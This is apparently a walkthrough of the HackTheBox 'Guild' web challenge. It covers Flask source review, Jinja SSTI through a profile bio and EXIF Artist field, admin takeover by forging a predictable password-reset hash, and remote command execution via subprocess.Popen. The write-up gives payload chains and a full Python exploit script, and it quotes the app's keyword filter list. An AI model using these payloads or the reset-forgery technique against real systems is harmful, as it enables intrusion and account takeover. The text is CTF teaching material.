Guild
* 🌐 Website: HackTheBox¶
- 🔥 Level: Easy
- 📚 Category: Web
- 🔗 Link: Guild
📜 Description¶
📋 Walkthrough¶
We go to the website
It looks like a game-based site. Let’s try to register and log in. On the home page it’s possible to upload a file at the URL /verification
.
I uploaded an image file for testing. It says the file has been sent to the GameMaster. In the profile it’s possible to set a Bio. Maybe there’s XSS? Let’s try.
If I put a classic payload it says:
Let’s see what’s inside the source code available in the challenge. There’s a function that verifies files:
ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg"}
def allowed_file(filename):
return "." in filename and \
filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS
And also a function that filters words in the bio:
payloads = [
"*",
"script",
"alert",
"debug",
"%",
"include",
"html",
"if",
"for",
"config",
"img",
"src",
".py",
"main",
"herf",
"pre",
"class",
"subclass",
"base",
"mro",
"__",
"[",
"]",
"def",
"return",
"self",
"os",
"popen",
"init",
"globals",
"base",
"class",
"request",
"attr",
"args",
"eval",
"newInstance",
"getEngineByName",
"getClass",
"join"
]
This function takes the file name, splits it on the .
, and checks if the second occurrence is a png
, jpg
, or jpeg
. This means files like .png.py
are allowed. There are also functions pointing to pages not visible from the menu:
@views.route("/getlink")
@login_required
def create_share():
username = current_user.username
query = Validlinks.query.filter_by(validlink=username).first()
if query:
pass
else:
new_query = Validlinks(email=current_user.email, validlink=current_user.username)
db.session.add(new_query)
db.session.commit()
link = "/user/" + str(current_user.username)
return render_template("getlink.html", link=link, user=current_user)
@views.route("/user/<link>")
def share(link):
query = Validlinks.query.filter_by(validlink=link).first()
if query:
email = query.email
query1 = User.query.filter_by(email=email).first()
bio = Verification.query.filter_by(user_id=query1.id).first().bio
temp = open("/app/website/templates/newtemplate/shareprofile.html", "r").read()
return render_template_string(temp % bio, User=User, Email=email, username=query1.username)
In this function share
takes the bio and renders it without sanitization. This could be vulnerable to SSTI. Going first to /getlink
and then to /user/aab
I found the description:
Let’s try a payload like {{ 7/7 }}
It works! Now we need to find a way to get the flag. Let’s try to get the admin password:
{{ User.query.filter_by(username="admin").first().password }}
scrypt:32768:8:1$XRU4up4fTHzVRMAQ$0988582c51303a334d1f1fd80224cbb98f55b0426d55eedf101c15d0c99b5f461b87e8c352c388bbc54f1c82eebfb9ba3c267c366f10ce229fb4c8437f7fa62b
If we have the email, we can change the password:
Let’s check the reset password function:
@views.route("/forgetpassword", methods=["GET", "POST"])
def forgetpassword():
if request.method == "POST":
email = request.form.get("email")
query = User.query.filter_by(email=email).first()
flash("If email is registered then you will get a link to reset password!", category="success")
if query:
# send email the below link
reset_url = str(hashlib.sha256(email.encode()).hexdigest())
print(reset_url)
new_query = Validlinks(email=email, validlink=reset_url)
db.session.add(new_query)
db.session.commit()
return redirect(url_for("views.home"))
return render_template("forgetpassword.html", user=current_user)
As we can see, it creates a new link from the encoded email. Let’s calculate it:
>>> email = "51465353746b6131@master.guild"
>>> import hashlib
>>> str(hashlib.sha256(email.encode()).hexdigest())
'c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0'
>>>
Now let’s see what happens next:
@views.route("/changepasswd/<Hash>",methods=["GET", "POST"])
def changepasswd(Hash):
query = Validlinks.query.filter_by(validlink=Hash).first()
if query:
if request.method == "POST":
email = query.email
query1 = User.query.filter_by(email=email).first()
new_password = request.form.get("password")
query1.password = generate_password_hash(new_password, method="sha256")
db.session.commit()
db.session.delete(query)
db.session.commit()
flash("Password Updated!",category="success")
redirect(url_for("views.home"))
return render_template("resetpassword.html", user=current_user, email=query.email)
So we need to follow these steps:
- Calculate the hash:
c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0
- Request password reset for
51465353746b6131@master.guild
- Go to
/changepasswd/c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0
and change the password
Logging into the site as admin
we find the submitted requests, but none verify correctly. Let’s see what /verify
does:
def verify():
if current_user.username == "admin":
if request.method == "POST":
user_id = request.form.get("user_id")
verf_id = request.form.get("verification_id")
query = Verification.query.filter_by(id=verf_id).first()
img = Image.open(query.doc)
exif_table={}
for k, v in img.getexif().items():
tag = TAGS.get(k)
exif_table[tag]=v
if "Artist" in exif_table.keys():
sec_code = exif_table["Artist"]
query.verified = 1
db.session.commit()
return render_template_string("Verified! {}".format(sec_code))
else:
return render_template_string("Not Verified! :(")
else:
flash("Oops", category="error")
return redirect(url_for("views.home"))
Ok, to pass it must contain the field Artist
in the exif data. Let’s do it:
Let’s create a new user and verify ourselves. When we get verified, the author is reflected in the browser without SSTI filters. We can try to do a cat /flag.txt
. To make it faster, I wrote a Python script to automate registration, login, exif modification, upload, admin login, and verification.
import requests
import piexif
from PIL import Image
import random
url = "http://94.237.121.82:36845/"
file = "cat.jpg"
admin_session = requests.Session()
admin_session.post(
url + "/login",
verify=False,
data={"username": "admin", "password": "aaa"}
)
def signup(userpass):
s = requests.Session()
requests.post(
url + "/signup",
verify=False,
data={"username": userpass, "email": f"{userpass}@aa.com", "password": userpass}
)
s.post(
url + "/login",
verify=False,
data={"username": userpass, "password": userpass}
)
return s
# Edit artist in exif named "Artist"
def edit_exif(file, cmd):
img = Image.open(file)
exif_dict = piexif.load(img.info.get("exif", b""))
exif_dict['0th'][315] = cmd.encode() # 315 = tag Artist
exif_bytes = piexif.dump(exif_dict)
img.save(file, "jpeg", exif=exif_bytes) # sovrascrive il file originale
return file
def verify(id):
r = admin_session.post(
url + "/verify",
verify=False,
data={"user_id": id, "verification_id": id - 1}
)
return r.text
def upload_image(s, file):
with open(file, "rb") as f:
files = {"file": (file, f, "image/jpeg")}
r = s.post(url + "/verification", files=files)
return r.text
i = 2
while True:
cmd = input("> ")
if cmd == "exit":
break
# Signup
s = signup(str(random.randint(100000, 999999)))
# Edit exif
new_file = edit_exif(file, cmd)
# Upload
print(upload_image(s, new_file))
# Verify
r = admin_session.post(
url + "/verify",
verify=False,
data={"user_id": i, "verification_id": i - 1}
)
print(r.text.replace("Verified! ", ""))
i += 1
Example run:
Now I can inject code through SSTI more easily. Let’s find Popen
:
In my case Popen
is at 527.
> {{''.__class__.__base__.__subclasses__()[527]}}
<class 'subprocess.Popen'>
> {{''.__class__.__base__.__subclasses__()[527]('cmd', shell=True, stdout=-1).communicate()}}
Now we can try to read the flag. I edited the script to make commands easier:
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ python3 script.py
> whoami
(b'root\n', None)
> ls
(b'flag.txt\nguild\ninstance\nmain.py\nrequirements.txt\nwebsite\n', None)
> cat flag.txt
(b'****', None)
Answer
HTB{mult1pl3_lo0p5_mult1pl3_h0les_***}